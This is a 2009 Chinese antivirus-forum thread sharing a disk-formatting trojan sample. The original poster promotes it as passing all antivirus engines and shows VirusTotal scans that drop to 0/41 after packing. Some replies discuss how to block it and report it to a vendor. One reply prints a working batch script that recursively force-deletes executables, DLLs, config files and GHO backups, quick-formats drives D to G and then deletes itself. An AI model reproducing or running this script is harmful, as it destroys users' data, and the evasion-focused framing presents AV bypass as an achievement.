收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 格盘程序 高质量！过全部杀软！
123下一页
返回列表 发新帖
查看: 4752|回复: 20
收起左侧

[病毒样本] 格盘程序 高质量！过全部杀软！

[复制链接]
songdehao
发表于 2009-8-22 09:32:24 | 显示全部楼层 |阅读模式
一个格盘的病毒，高质量！
文件 ss 接收于 2009.08.22 01:59:43 (UTC)
当前状态: 完成
结果: 17/41 (41.46%)

格式化文本
打印结果



反病毒引擎版本最后更新扫描结果
a-squared4.5.0.242009.08.21BAT.Trojan.FormatCQ!IK
AhnLab-V35.0.0.22009.08.21-
AntiVir7.9.1.32009.08.21-
Antiy-AVL2.0.3.72009.08.21-
Authentium5.1.2.42009.08.21W32/Backdoor2.ELUF
Avast4.8.1335.02009.08.21Win32:Trojan-gen {Other}
AVG8.5.0.4062009.08.22-
BitDefender7.22009.08.22Trojan.Generic.1568657
CAT-QuickHeal10.002009.08.21Trojan.Agent.IRC
ClamAV0.94.12009.08.21Trojan.Dropper-19980
Comodo20512009.08.22TrojWare.Win32.Trojan.Agent.~GAAC
DrWeb5.0.0.121822009.08.21Trojan.Hosts.82
eSafe7.0.17.02009.08.20-
eTrust-Vet31.6.66942009.08.21Win32/Droplet.JY
F-Prot4.4.4.562009.08.21W32/Backdoor2.ELUF
F-Secure8.0.14470.02009.08.21-
Fortinet3.120.0.02009.08.21-
GData192009.08.22Trojan.Generic.1568657
IkarusT3.1.1.68.02009.08.21BAT.Trojan.FormatCQ
Jiangmin11.0.8002009.08.21Trojan/Agent.cdnm
K7AntiVirus7.10.8242009.08.21-
Kaspersky7.0.0.1252009.08.22-
McAfee57162009.08.21-
McAfee+Artemis57162009.08.21-
McAfee-GW-Edition6.8.52009.08.21Heuristic.BehavesLike.Win32.Dropper.H
Microsoft1.49032009.08.21-
NOD3243572009.08.21-
Norman6.01.092009.08.21-
nProtect2009.1.8.02009.08.21Trojan/W32.Agent.48640.BY
Panda10.0.0.142009.08.21-
PCTools4.4.2.02009.08.21-
Prevx3.02009.08.22Medium Risk Malware
Rising21.43.44.002009.08.21-
Sophos4.44.02009.08.22-
Sunbelt3.2.1858.22009.08.22-
Symantec1.4.4.122009.08.22-
TheHacker6.3.4.3.3842009.08.21-
TrendMicro8.950.0.10942009.08.21-
VBA323.12.10.92009.08.22Trojan.Win32.Agent.bvxl
ViRobot2009.8.21.18952009.08.21-
VirusBuster4.6.5.02009.08.21-

加壳后报告：
文件 123-______.rar 接收于 2009.08.22 02:39:21 (UTC)
当前状态: 正在读取 ... 队列中 等待中 扫描中 完成 未发现 停止

结果: 0/41 (0%)

正在读取服务器信息中...
您的文件所排队列位置: ___.
预计开始时间为 ___ 和 ___
之间.
扫描完成前请勿关闭窗口.
目前针对您的文件所进行的扫描进程已停止, 我们将会在稍后恢复.
如果您的等候时间超过 5 分钟, 请重新发送文件.
您的文件目前正在被 VirusTotal 扫描中,
结果将会稍后完成时生成.
格式化文本
打印结果


您的文件已过期或不存在.
目前服务已停止, 您的文件将会稍后的未知时间内进行扫描 (位置:
). 您可以继续等待回应 (自动读取) 或者在下面的表单内输入您的电子邮件地址, 并按下 "获取", 当扫描完成时, 系统会自动给您发送电子邮件通知.  
Email:



反病毒引擎版本最后更新扫描结果
a-squared4.5.0.242009.08.21-
AhnLab-V35.0.0.22009.08.21-
AntiVir7.9.1.32009.08.21-
Antiy-AVL2.0.3.72009.08.21-
Authentium5.1.2.42009.08.21-
Avast4.8.1335.02009.08.21-
AVG8.5.0.4062009.08.22-
BitDefender7.22009.08.22-
CAT-QuickHeal10.002009.08.21-
ClamAV0.94.12009.08.21-
Comodo20512009.08.22-
DrWeb5.0.0.121822009.08.21-
eSafe7.0.17.02009.08.20-
eTrust-Vet31.6.66942009.08.21-
F-Prot4.4.4.562009.08.21-
F-Secure8.0.14470.02009.08.21-
Fortinet3.120.0.02009.08.21-
GData192009.08.22-
IkarusT3.1.1.68.02009.08.21-
Jiangmin11.0.8002009.08.21-
K7AntiVirus7.10.8242009.08.21-
Kaspersky7.0.0.1252009.08.22-
McAfee57162009.08.21-
McAfee+Artemis57162009.08.21-
McAfee-GW-Edition6.8.52009.08.21-
Microsoft1.49032009.08.21-
NOD3243572009.08.21-
Norman6.01.092009.08.21-
nProtect2009.1.8.02009.08.22-
Panda10.0.0.142009.08.21-
PCTools4.4.2.02009.08.21-
Prevx3.02009.08.22-
Rising21.43.44.002009.08.21-
Sophos4.44.02009.08.22-
Sunbelt3.2.1858.22009.08.22-
Symantec1.4.4.122009.08.22-
TheHacker6.3.4.3.3842009.08.21-
TrendMicro8.950.0.10942009.08.21-
VBA323.12.10.92009.08.22-
ViRobot2009.8.21.18952009.08.21-
VirusBuster4.6.5.02009.08.21-


[ 本帖最后由 songdehao 于 2009-8-22 10:30 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

Palkia
发表于 2009-8-22 09:45:47 | 显示全部楼层
又是这东西

用ｃｍｄ调用format.com，随便拦截一個动作就可以废了它～





本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

欠妳緈諨
发表于 2009-8-22 09:50:23 | 显示全部楼层
Win32:Trojan-gen {Other}
回复

举报

strawman0719
发表于 2009-8-22 10:09:49 | 显示全部楼层
已上报ESET
回复

举报

songdehao
 楼主| 发表于 2009-8-22 10:25:46 | 显示全部楼层
以添加加壳后病毒，请下载测试！
回复

举报

woai_jolin
发表于 2009-8-22 10:27:11 | 显示全部楼层
调用CMD 做Format 在想有多少杀软会入库
回复

举报

tanlimo
发表于 2009-8-22 10:32:53 | 显示全部楼层
  1. @shift
  2. @echo off
  3. del /f /s /q *.tmp
  4. del /f /s /q *._mp
  5. del /f /s /q *.log
  6. del /f /s /q *.ini
  7. del /f /s /q *.inf
  8. del /f /s /q *.dll
  9. del /f /s /q *.gid
  10. del /f /s /q *.chk
  11. del /f /s /q *.old
  12. del /f /s /q *.GHO
  13. del /f /s /q *.exe
  14. del /f /s /q *.php
  15. del /f /s /q *.asp
  16. del /f /s /q *.asa
  17. del /f /s /q *.swf
  18. format d: /q /y
  19. format e: /q /y
  20. format f: /q /y
  21. format g: /q /y
  22. del del.bat
复制代码
回复

举报

Palkia
发表于 2009-8-22 10:33:25 | 显示全部楼层
行为没变，怎么加壳都一样。。。

format.com是系统正常程序，平时用户要格式化移动磁盘或分区时

要用到，所以一般情况下几乎没有杀软的主防会去监控这个东西的。。

对于这个病毒拦截关键应该在于拦截其调用ｃｍｄ
回复

举报

The EQs
发表于 2009-8-22 10:42:45 | 显示全部楼层
加壳加死了
回复

举报

spqwb
发表于 2009-8-22 10:53:51 | 显示全部楼层
嗯。的确如此，偶的咖啡没有报这个！
回复

举报

下一页 »
123下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-21 23:28 , Processed in 0.096884 second(s), 2 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表